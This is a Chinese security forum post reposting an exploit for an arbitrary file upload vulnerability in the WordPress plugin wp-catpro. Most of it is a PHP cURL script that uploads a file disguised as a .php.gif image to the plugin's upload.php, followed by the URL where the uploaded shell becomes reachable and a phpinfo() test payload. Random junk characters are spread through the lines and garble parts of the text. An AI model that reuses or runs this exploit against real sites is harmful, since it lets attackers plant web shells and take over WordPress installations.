找回密码
 立即注册
查看: 2609|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability. X6 n* W1 Z( P1 v' t) ]: s. Y
#-----------------------------------------------------------------------
% }& k/ J0 M. {6 S2 _ 6 @9 ^' I3 r/ H8 o* I
作者  => Zikou-163 v, N9 |# p- Y) R2 v, z8 x. w
邮箱 => zikou16x@gmail.com
0 v1 r; c2 \4 I6 W3 F测试系统 : Windows 7 , Backtrack 5r3
- L0 L6 v* ~0 \4 T下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
7 s: }, q9 m& s; k####
7 L+ @$ F8 W& F6 l) }
( g6 F+ W% O. H$ @#=> Exploit 信息:* D* ?' Y) I2 s0 e  P) I. J; K1 r
------------------
/ f3 J( T0 v9 I# j/ G( L+ h# 攻击者可以上传 file/shell.php.gif
" ]; S. H( i3 E# ("jpg", "gif", "png")  // Allowed file extensions
. T8 R& M- [, S# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
0 n' t& Q- ^, b  x# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)* ]8 u  x  p+ ]8 R# v# c0 k9 @- |
------------------
/ O" U( y! P" W
' i0 E+ R/ `+ u) o6 z) k#=> Exploit
/ @3 f5 F9 h" w' r- A3 W4 g-----------
" P; ^( R0 y5 E9 o+ h' O<?php; Y/ i2 v/ L; `" N+ k
; r! V( _9 A8 ?6 i1 `+ t
$uploadfile="zik.php.gif";
5 g' D& `) G! V' w" C$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
+ E) z5 g# B9 x" I6 fcurl_setopt($ch, CURLOPT_POST, true);* d% Q" D2 n; L4 w/ H2 @2 a3 p
curl_setopt($ch, CURLOPT_POSTFIELDS,
6 b8 |, i, I  r! ]( t+ ~! ?' }. _array('Filedata'=>"@$uploadfile",
5 R/ r2 [: r/ m5 B3 p, x'folder'=>'/wp-content/uploads/catpro/'));9 Q: {! v/ m! X/ V: N
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);/ a# [0 v' c: }% U& D! l* E% W
$postResult = curl_exec($ch);
& d  y8 [. ~" J. L/ Q$ f( `curl_close($ch);% O: U2 ]* O4 k( O, n* ~

) x6 O# `+ N3 a% t0 R( G6 j2 vprint "$postResult";' P/ C* i6 y: i; Y' M
7 ^4 \0 X, j  x. w2 C+ e
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
$ J% I+ r, w6 ?  ?>
! W% s1 ]; l2 \" D: u. A  M<?php* N) w1 ?1 L! u
phpinfo();
$ n3 {0 }8 f% _) g5 h/ D2 [?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表